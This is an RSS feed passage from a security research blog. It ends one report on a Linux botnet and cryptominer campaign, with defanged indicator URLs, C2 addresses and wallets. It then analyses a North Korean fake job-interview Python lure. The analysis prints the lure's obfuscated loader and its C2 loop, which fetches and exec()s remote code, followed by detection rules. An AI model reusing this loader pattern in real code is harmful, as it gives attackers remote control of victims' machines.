<li><strong>Monitor Alerts and Logs</strong>: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.</li>
<li><strong>Conduct Threat Hunting</strong>: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.</li>
<li><strong>Implement Web Application Firewalls (WAFs)</strong>: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.</li>
<li><strong>Enforce Strong Authentication for SSH</strong>: Use public/private key authentication for SSH access to protect against brute force attacks.</li>
<li><strong>Write Secure Code</strong>: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.</li>
<li><strong>Regularly Patch and Update Systems</strong>: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.</li>
</ol>
<p>By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.</p>
<h2>Observations</h2>
<p>The following observables were discussed in this research. These are available for download in STIX or ECS format <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref6138">here</a>.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f</td>
<td>SHA-256</td>
<td>SystemdXC</td>
<td>XMRIG</td>
</tr>
<tr>
<td>82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684</td>
<td>SHA-256</td>
<td>apache2</td>
<td>apache2_unpacked</td>
</tr>
<tr>
<td>0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd</td>
<td>SHA-256</td>
<td>apache2_upx_packed</td>
<td>apache2_upx_packed</td>
</tr>
<tr>
<td>9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e</td>
<td>SHA-256</td>
<td>download.sh</td>
<td>KAIJI Stager</td>
</tr>
<tr>
<td>1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79</td>
<td>SHA-256</td>
<td>linux_386</td>
<td>KAIJI x86</td>
</tr>
<tr>
<td>d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8</td>
<td>SHA-256</td>
<td>linux_amd64</td>
<td>KAIJI x64</td>
</tr>
<tr>
<td>ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b</td>
<td>SHA-256</td>
<td>linux_arm5</td>
<td>KAIJI ARM5</td>
</tr>
<tr>
<td>792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6</td>
<td>SHA-256</td>
<td>linux_arm6</td>
<td>KAIJI ARM6</td>
</tr>
<tr>
<td>e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4</td>
<td>SHA-256</td>
<td>linux_arm64</td>
<td>KAIJI ARM64</td>
</tr>
<tr>
<td>3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745</td>
<td>SHA-256</td>
<td>linux_arm7</td>
<td>KAIJI ARM7</td>
</tr>
<tr>
<td>fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0</td>
<td>SHA-256</td>
<td>linux_mips</td>
<td>KAIJI MIPS</td>
</tr>
<tr>
<td>6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55</td>
<td>SHA-256</td>
<td>linux_mips64</td>
<td>KAIJI MIPS64</td>
</tr>
<tr>
<td>0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814</td>
<td>SHA-256</td>
<td>linux_mips64el</td>
<td>KAIJI MIPS64 little-endian</td>
</tr>
<tr>
<td>310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988</td>
<td>SHA-256</td>
<td>linux_mips_softfloat</td>
<td>KAIJI MIPS softfloat</td>
</tr>
<tr>
<td>0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527</td>
<td>SHA-256</td>
<td>linux_mipsel</td>
<td>KAIJI MIPS little-endian</td>
</tr>
<tr>
<td>36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196</td>
<td>SHA-256</td>
<td>linux_mipsel_softfloat</td>
<td>KAIJI MIPS little-endian softfloat</td>
</tr>
<tr>
<td>3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f</td>
<td>SHA-256</td>
<td>linux_ppc64</td>
<td>KAIJI PPC64</td>
</tr>
<tr>
<td>7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7</td>
<td>SHA-256</td>
<td>linux_ppc64el</td>
<td>KAIJI PPC64 little-endian</td>
</tr>
<tr>
<td>09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7</td>
<td>SHA-256</td>
<td>l64_v0</td>
<td>RUDEDEVIL/LUFICER x64 version 0</td>
</tr>
<tr>
<td>ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46</td>
<td>SHA-256</td>
<td>l64_v1</td>
<td>RUDEDEVIL/LUFICER x64 version 1</td>
</tr>
<tr>
<td>160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a</td>
<td>SHA-256</td>
<td>l64_v2</td>
<td>RUDEDEVIL/LUFICER x64 version 2</td>
</tr>
<tr>
<td>89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055</td>
<td>SHA-256</td>
<td>l64_v3</td>
<td>RUDEDEVIL/LUFICER x64 version 3</td>
</tr>
<tr>
<td>20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b</td>
<td>SHA-256</td>
<td>l86_v0</td>
<td>RUDEDEVIL/LUFICER x86 version 0</td>
</tr>
<tr>
<td>728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c</td>
<td>SHA-256</td>
<td>l86_v1</td>
<td>RUDEDEVIL/LUFICER x86 version 1</td>
</tr>
<tr>
<td>47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40</td>
<td>SHA-256</td>
<td>l86_v2</td>
<td>RUDEDEVIL/LUFICER x86 version 2</td>
</tr>
<tr>
<td>e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5</td>
<td>SHA-256</td>
<td>l86_v3</td>
<td>RUDEDEVIL/LUFICER x86 version 3</td>
</tr>
<tr>
<td>d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60</td>
<td>SHA-256</td>
<td>hjvhg.exe</td>
<td>Miner</td>
</tr>
<tr>
<td>54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de</td>
<td>SHA-256</td>
<td>mvhhvcp3.exe</td>
<td>DONUT LOADER</td>
</tr>
<tr>
<td>9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976</td>
<td>SHA-256</td>
<td>vdfgb.exe</td>
<td>Miner</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/ifindyou">http://gcp.pagaelrescate[.]com:8080/ifindyou</a></td>
<td>url</td>
<td>ifindyou.sh</td>
<td>Stage 1</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/cycnet">http://gcp.pagaelrescate[.]com:8080/cycnet</a></td>
<td>url</td>
<td>cycnet.sh</td>
<td>Stage 2</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/testslot/enviador_slot">http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot</a></td>
<td>url</td>
<td>Enviador_slot.py</td>
<td>Stage 3</td>
</tr>
<tr>
<td><a href="http://gcp.pagaelrescate%5B.%5Dcom:8080/t9r/SystemdXC">http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</a></td>
<td>url</td>
<td>SystemdXC</td>
<td>XMRIG</td>
</tr>
<tr>
<td><a href="http://38.54.125%5B.%5D192:8080/nginx-rc">http://38.54.125[.]192:8080/nginx-rc</a></td>
<td>url</td>
<td>nginx-rc</td>
<td>LIGOLO-NG</td>
</tr>
<tr>
<td><a href="http://62.72.22%5B.%5D91/apache2">http://62.72.22[.]91/apache2</a></td>
<td>url</td>
<td>apache2</td>
<td>Custom Malware</td>
</tr>
<tr>
<td><a href="http://62.72.22%5B.%5D91/apache2v86">http://62.72.22[.]91/apache2v86</a></td>
<td>url</td>
<td>apache2v86</td>
<td>Custom Malware</td>
</tr>
<tr>
<td><a href="http://91.92.241%5B.%5D103:8002/gk.php">http://91.92.241[.]103:8002/gk.php</a></td>
<td>url</td>
<td>gk.php</td>
<td>PHP Backdoor</td>
</tr>
<tr>
<td><a href="http://hfs.t1linux%5B.%5Dcom:7845/scdsshfk">http://hfs.t1linux[.]com:7845/scdsshfk</a></td>
<td>url</td>
<td>scdsshfk</td>
<td>XMRIG</td>
</tr>
<tr>
<td>gcp.pagaelrescate[.]com</td>
<td>domain-name</td>
<td></td>
<td>REF Hosting domain</td>
</tr>
<tr>
<td>nishabii[.]xyz</td>
<td>domain-name</td>
<td></td>
<td>RUDEDEVIL C2</td>
</tr>
<tr>
<td>3.147.53[.]183</td>
<td>ipv4-addr</td>
<td></td>
<td>Python Reverse Shell C2</td>
</tr>
<tr>
<td>38.54.125[.]192</td>
<td>ipv4-addr</td>
<td></td>
<td>C2 Server</td>
</tr>
<tr>
<td>107.178.101[.]245</td>
<td>ipv4-addr</td>
<td></td>
<td>Malware File Server (Rejetto)</td>
</tr>
<tr>
<td>62.72.22[.]91</td>
<td>ipv4-addr</td>
<td></td>
<td>Server Hosting Malware</td>
</tr>
<tr>
<td>91.92.241[.]103</td>
<td>ipv4-addr</td>
<td></td>
<td>C2 Server</td>
</tr>
<tr>
<td>61.160.194[.]160</td>
<td>ipv4-addr</td>
<td></td>
<td>Server Hosting Malware</td>
</tr>
<tr>
<td>41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL</td>
<td>XMR Wallet</td>
<td></td>
<td>RUDEDEVIL/LUFICER mining wallet</td>
</tr>
<tr>
<td>42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc</td>
<td>XMR Wallet</td>
<td></td>
<td>RUDEDEVIL/LUFICER mining wallet</td>
</tr>
<tr>
<td>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</td>
<td>BTC Wallet</td>
<td></td>
<td>XMRIG mining wallet</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html">https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html</a></li>
<li><a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/">https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/</a></li>
<li><a href="https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities">https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities</a></li>
<li><a href="https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/">https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/</a></li>
<li><a href="https://github.com/hackerschoice/gsocket">https://github.com/hackerschoice/gsocket</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/betting-on-bots/betting-on-bots.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Code of Conduct: DPRK’s Python-fueled intrusions into secured networks]]></title>
            <link>https://www.elastic.co/kr/security-labs/dprk-code-of-conduct</link>
            <guid>dprk-code-of-conduct</guid>
            <pubDate>Wed, 18 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Few threat actors have garnered as much attention and notoriety in the shadowy world of state-sponsored cyber operations as the Democratic People's Republic of Korea (DPRK). DPRK-affiliated threat groups have consistently demonstrated their use of social engineering tactics coupled with tactical capabilities. At the forefront of their arsenal lies an unexpected weapon: Python.</p>
<p>This versatile programming language, prized for its accessibility and power, has become the tool for DPRK operatives seeking initial access to target systems. These threat actors have successfully penetrated some of the world's most secure networks through a potent combination of meticulously crafted social engineering schemes and elegantly disguised Python code.</p>
<p>This publication will examine the DPRK's use of social engineering and Python-based lures for initial access. Building on <a href="https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages">research published</a> by the Reversing Labs team for the campaign they call VMConnect, we'll explore a very recent real-world example, dissect the code, and examine what makes these attacks so effective. By understanding these techniques, we aim to shed light on the evolving landscape of state-sponsored cyber threats and equip defenders with the knowledge to combat them.</p>
<h2>Key takeaways</h2>
<ul>
<li>The sophistication of DPRK's social engineering tactics often involves long-term persona development and targeted narratives.</li>
<li>The use of Python for its ease of obfuscation, extensive library support, and ability to blend with legitimate system activities.</li>
<li>These lures evidence the ongoing evolution of DPRK's techniques, which highlights the need for continuous vigilance and adaptation in cyber defense strategies.</li>
<li>The Python script from this campaign includes modules that allow for the execution of system commands and to write and execute local files</li>
</ul>
<h2>RookeryCapital_PythonTest.zip</h2>
<p>This sample is distributed under the guise of a Python coding challenge for a “Capital One” job interview. It contains a known Python module that appears innocent on the surface. This module includes standard clipboard management functionality but also harbors obfuscated code capable of exfiltrating data and executing arbitrary commands.</p>
<p>Using encoding techniques like Base64 and ROT13, the attacker camouflaged dangerous functionality to evade detection by both human reviewers and automated security scans. The code reaches out to a remote server, downloading and executing commands under the guise of clipboard operations. It is a perfect example of how easily malicious functionality can be masked in standard code.</p>
<p>We'll analyze this Python application line by line, uncovering how it:</p>
<ul>
<li>Establishes a connection to a malicious server</li>
<li>Executes hidden commands via remote code execution (RCE)</li>
<li>Uses common obfuscation techniques to fly under the radar</li>
<li>Embeds persistent retry mechanisms to ensure successful communication</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/dprk-code-of-conduct/image5.png" alt="DPRK Python initial access execution flow" title="DPRK Python initial access execution flow" /></p>
<h3>PasswordManager.py</h3>
<p>This “Python Challenge” is provided via a <code>.zip</code> file containing a Python application called “PasswordManager”. This application primarily consists of a main script, <code>PasswordManager.py</code>, and two Python modules, <code>Pyperclip</code> and <code>Pyrebase</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/dprk-code-of-conduct/image1.png" alt="PasswordManager Application Contents" title="PasswordManager Application Contents" /></p>
<p>Examining the <code>README.md</code> file first, it is evident that this is meant to be some sort of interview challenge or assessment, but what immediately piqued our interest were the following lines:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/dprk-code-of-conduct/image4.png" alt="Excerpt from “PasswordManager” application README file" title="Excerpt from “PasswordManager” application README file" /></p>
<p>This was interesting as they wanted to ensure that the application was run before the user made any changes that may cause certain functionality to break or become noticeable.</p>
<p>The main <code>PasswordManager.py</code> file looks like the makings of a basic Python password manager application. Of course, as we noted above, the application imports two third-party modules (<code>Pyperclip</code> and <code>Pyrebase</code>) into this main script.</p>
<h4>Pyperclip module</h4>
<p>The <code>Pyperclip</code> module has two files, <code>__init__.py</code> and <code>__main__.py</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/dprk-code-of-conduct/image2.png" alt="Pyperclip module files " title="Pyperclip module files " /></p>
<p>In Python, modules often consist of multiple files, with two important ones being <code>__init__.py</code> and <code>__main__.py</code>. The <code>__init__.py</code>  file initializes a Python package, allowing it to function when imported, while the <code>__main__.py</code> file allows the module to be run as a standalone program.</p>
<h5><strong>init</strong>.py</h5>
<p><code>__init__.py</code> is the first module to be imported and primarily facilitates clipboard operations on various platforms (Windows, macOS, Linux, etc.). The bulk of this code is designed to detect the platform (Windows, Linux, macOS) and provide the appropriate clipboard handling functions (copy, paste), relying on native utilities (e.g., <code>pbcopy</code> for macOS, <code>xclip</code> for Linux) or Python libraries (e.g., gtk, PyQt4/PyQt5).</p>
<p>The imports reveal potentially interesting or suspicious functionality from libraries such as <code>base64</code>, <code>codecs</code>, <code>subprocess</code>, and <code>tempfile</code>. The <code>base64</code> module provides encoding or decoding capabilities, which can be used to hide or obfuscate sensitive information. When paired with <code>codecs</code>, another module often used for encoding or decoding text (in this case, using the ROT13 cipher), it becomes clear that the script is manipulating data to evade detection.</p>
<p>The presence of the <code>subprocess</code> module is particularly concerning. This module allows the script to run system commands, opening the door for executing arbitrary code on the machine. This module can execute external scripts, launch processes, or install malicious binaries.</p>
<p>The inclusion of the <code>tempfile module</code> is also noteworthy. This module creates temporary files that can be written to and executed, a common technique malware uses to hide its tracks. This module suggests the script may be writing content to disk and executing it within a temporary directory.</p>
<pre><code>import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os
</code></pre>
<p><strong><strong>init</strong>.py imports</strong></p>
<p>Analyzing the script a large base64 encoded blob assigned to the variable <code>req_self</code> quickly stands out.</p>
<pre><code>req_self = &quot;aW1wb3J0IHN0….Y29udGludWUNCg==&quot;
</code></pre>
<p>Decoding this Base64 encoded string reveals an entirely new and self-contained Python script with some very interesting code.</p>
<h5>Obfuscated Python Script</h5>
<p>The script imports several standard libraries (e.g., <code>requests</code>, <code>random</code>, <code>platform</code>), allowing it to generate random data, interact with the operating system, encode/decode strings, and make network requests.</p>
<pre><code>import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs
</code></pre>
<p><strong>Encoded Python script imports</strong></p>
<p>The script contains two functions named <code>co</code> and <code>rand_n</code>.</p>
<p>The <code>co</code> function operates as a helper function. This function checks the current operating system (<code>osn</code>). It uses the <code>codecs.decode</code> function with ROT13 encoding to decode the string <code>Jvaqbjf</code>, which results in <code>Windows</code>. If the operating system is Windows, it returns <code>0</code>; otherwise, it returns <code>1</code>.</p>
<pre><code>def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1
</code></pre>
<p><strong><code>co</code> function within encoded Python script</strong></p>
<p>Decoding ROT13 can easily be done on the macOS or Linux CLI or with the <a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&amp;input=SnZhcWJqZg&amp;oeol=CRLF">ROT13 CyberChef recipe</a>.</p>
<pre><code>$ echo &quot;Jvaqbjf&quot; | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows
</code></pre>
<p>The <code>rand_n</code> function generates an 8-digit pseudorandom number from the string <code>123456789</code>. This is likely used as an identifier (<code>uid</code>) in further communication with the remote server.</p>
<pre><code>def rand_n():
  _LENGTH = 8
  str_pool = &quot;123456789&quot;
  result = &quot;&quot;
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result
</code></pre>
<p><strong><code>rand_n</code> function within encoded Python script</strong></p>
<p>Following the function declarations, the script defines a set of variables with hardcoded values it will use.</p>
<pre><code>uid = rand_n()
f_run = &quot;&quot;
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {&quot;Content-Type&quot;: &quot;application/json; charset=utf-8&quot;}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + &quot;pfrr&quot; + str(co(oi))
</code></pre>
<p><strong>Encoded Python script variables</strong></p>
<ul>
<li><code>uid</code>: Random identifier generated using <code>rand_n()</code></li>
<li><code>oi</code>: The operating system platform</li>
<li><code>url</code>: After decoding using ROT13, this resolves to a URL for a malicious server (<a href="https://akamaitechnologies%5B.%5Donline">https://akamaitechnologies[.]online</a>). The threat actor is obviously attempting to evade detection by encoding the URL and disguising it as a seemingly legitimate service (Akamai), which is a known CDN provider.</li>
<li><code>data</code>: This is the data payload being sent to the server. It includes a decoded string (<code>Amazon[.]com</code>), the random uid, and the result of <code>co(oi)</code> which checks if the OS is Windows.</li>
</ul>
<p>The last part of the script is the main while loop.</p>
<pre><code>while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) &gt; 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue
</code></pre>
<p><strong>Encoded Python script main while loop</strong></p>
<p>The first try block sends an HTTP POST request to the malicious server (url) with the headers and data. If the server responds with a status code other than 200 OK, the script waits 60 seconds and retries.</p>
<p>Else, if the response starts with the decoded string 'Google.com' and the response length is greater than 15, it extracts a base64-encoded portion of the response. It then decodes this portion and executes the decoded script using <code>exec(compile(dec_res, '', 'exec'), globals())</code>. This allows the attacker to send arbitrary Python code to be executed on the victim's machine.</p>
<p>Towards the end of the loop it sets global variables with the random uid and the URL used in communication with the remote server. This is used later when executing the downloaded payload.</p>
<p>Now that we understand the purpose of the encoded Python script let's go back to the <code>__inity__.py</code> script and break down the function that executes the base64-encoded section.</p>
<h5><strong>inity</strong>.py</h5>
<p>Back within the <code>__inity__.py</code> script we can look for any other reference to the <code>req_self</code> variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as <code>cert_acc</code>.</p>
<pre><code>def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
</code></pre>
<pre><code>ct_type = platform.system()
</code></pre>
<p>This variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the <code>platform.system()</code> function. The value is stored in the <code>ct_type</code> variable.</p>
<pre><code>l_p = tempfile.gettempdir()
</code></pre>
<p>This variable calls the <code>tempfile.gettempdir() function</code>, which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to <code>l_p</code>.</p>
<p>The <code>if-else</code> block takes advantage of the codecs library decode function using ROT13 to decode the string <code>Jvaqbjf</code>, which translates to <code>Windows</code>. This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be <code>\eronfr.gzc</code>, <code>\rebase.tmp</code> after decoding) to the temporary directory path <code>l_p</code>. It then constructs a command <code>header_ops</code>, which likely combines the decoded <code>push_opr</code> variable (also using ROT13) with the path.</p>
<p>If the system is not Windows, it appends a Unix-like file path <code>/eronfr.gzc</code> (<code>/rebase.tmp</code> after decoding) and similarly constructs a command using <code>push_ops</code>. This part of the code is designed to run different payloads or commands depending on the operating system.</p>
<pre><code>if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p
</code></pre>
<p>The next several statements, starting with <code>request_</code>, serve to write the Base64-encoded Python script we have already analyzed to<code> disk in the temporary directory. This code opens a new file in the temporary directory (</code>l_p<code>), which was previously set depending on the system type. The variable </code>req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.</p>
<pre><code>request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
</code></pre>
<p>The function's final <code>try</code> block facilitates the execution of the encoded Python script.</p>
<p>If the system type is Windows, the code attempts to execute the file (constructed in <code>header_ops</code>) using the <code>subprocess.Popen function</code>. The <code>DETACHED_PROCESS</code> flag ensures that the process runs independently of the parent process, making it harder to track.</p>
<p>If the system is not Windows, it runs the file using a different execution method (<code>subprocess.Popen</code> with <code>shell=True</code>), which is more common for Unix-like systems (Linux/macOS). The <code>preexec_fn=os.setpgrp</code> makes the process immune to terminal interrupts, allowing it to run in the background.</p>
<pre><code>try:
      if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
</code></pre>
<p>The <code>cert_acc</code> function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.</p>
<p>The script within the <code>Pyperclip</code> package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system’s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine.</p>
<h4>Campaign intersections</h4>
<p>When we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild.</p>
<p>This lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we’ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as “<a href="https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists">CovertCatch</a>.”</p>
<p>The next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as “<a href="https://www.elastic.co/kr/security-labs/elastic-catches-dprk-passing-out-kandykorn">KandyKorn</a>” that targeted CryptoCurrency developers and engineers.</p>
<h2>Detection, Hunting and Mitigation Strategies</h2>
<p>Detecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness.</p>
<p>The best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from “recruiters”, “developer forums”, “Github”, etc., will provide a strong foundation of defense against these attacks.</p>
<p>Regarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well.</p>
<h3>[Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection</h3>
<pre><code>sequence by process.parent.entity_id with maxspan=3s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.name : &quot;python*&quot;
 and process.name : (&quot;sh&quot;, &quot;zsh&quot;, &quot;bash&quot;) and process.args == &quot;-c&quot; and process.args : &quot;python*&quot;]
[network where event.type == &quot;start&quot;]
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/dprk-code-of-conduct/image3.png" alt="Sequence based Behavior Rule detection" title="Sequence based Behavior Rule detection" /></p>
<p>This rule looks for the specific behavior exhibited when the <code>__init__.py</code> sample writes the obfuscated Python script to disk and utilizes the <code>subprocess.Popen</code> method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands.</p>
<h3>[Hunt] Python Executable File Creation in Temporary Directory</h3>
<pre><code>file where event.type == &quot;modification&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;)
 and (process.name : &quot;python*&quot; or Effective_process.name : &quot;python*&quot;) and file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;)
</code></pre>
<p>If the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python.</p>
<h3>[Hunt] Interactive Shell Execution via Python</h3>
<pre><code>process where host.os.type == &quot;macos&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; 
and process.parent.name : &quot;python*&quot; and process.name : (&quot;sh&quot;, &quot;zsh&quot;, &quot;bash&quot;)
 and process.args == &quot;-i&quot; and process.args_count == 2
</code></pre>
<p>The threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.</p>
<h3>[Hunt] Suspicious Python Child Process Execution</h3>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.name : &quot;python*&quot;
 and process.name : (&quot;screencapture&quot;, &quot;security&quot;, &quot;csrutil&quot;, &quot;dscl&quot;, &quot;mdfind&quot;, &quot;nscurl&quot;, &quot;sqlite3&quot;, &quot;tclsh&quot;, &quot;xattr&quot;)
